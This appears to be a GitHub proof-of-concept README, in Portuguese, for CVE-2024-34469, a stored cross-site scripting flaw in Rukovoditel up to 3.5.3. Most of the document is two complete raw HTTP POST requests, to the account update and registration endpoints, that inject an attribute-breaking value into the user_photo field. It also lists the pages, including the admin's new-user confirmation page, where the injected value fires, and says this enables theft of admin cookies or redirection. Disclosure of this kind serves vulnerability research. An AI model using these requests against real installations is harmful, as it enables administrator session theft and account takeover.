toxich4/cve-2024-34469CVE-2024-34469
Rukovoditel até a versão 3.5.3 é afetado por ataque de cross-site scripting (XSS) O payload pode ser embutido em dois lugares: na página de registro e na conta pessoal do usuário com quaisquer privilégios. A vulnerabilidade está no parâmetro user_photo.
POST /index.php?module=users/account&action=update&token=mzjjjrOgze HTTP/1.1
Host: 192.168.0.15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: multipart/form-data; boundary=---------------------------304983279014015673452478204380
Cookie: [Cookie]
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="form_session_token"
mzjjjrOgze
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[7]"
user
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[8]"
user
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="user_photo"
user_2_1712564921.jpeg">
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="delete_user_photo"
0
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[9]"
[email protected]
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[13]"
english.php
-----------------------------304983279014015673452478204380--
Isso será acionado na página da conta pessoal:
/index.php?module=users/account
E quando na página de todos os usuários, no painel de administração:
/index.php?module=items/items&path=1
POST /index.php?module=users/registration&action=save HTTP/1.1
Host: 192.168.0.15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: multipart/form-data; boundary=---------------------------23053781821106606461863123342
Cookie: [Cookie]
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="form_session_token"
Hz7oBzXORq
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[12]"
user2
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="password"
useruser
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[7]"
user2
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[8]"
user2
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="user_photo"
tmp_photo_1712573394_Hz7oBzXORq.png">
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="delete_user_photo"
0
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[9]"
[email protected]
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[13]"
russian.php
-----------------------------23053781821106606461863123342--
Isso será acionado quando o administrador for para a página de confirmação de novos usuários.
Esta vulnerabilidade pode levar ao roubo de cookies administrativos ou redirecionamento para o site do atacante.
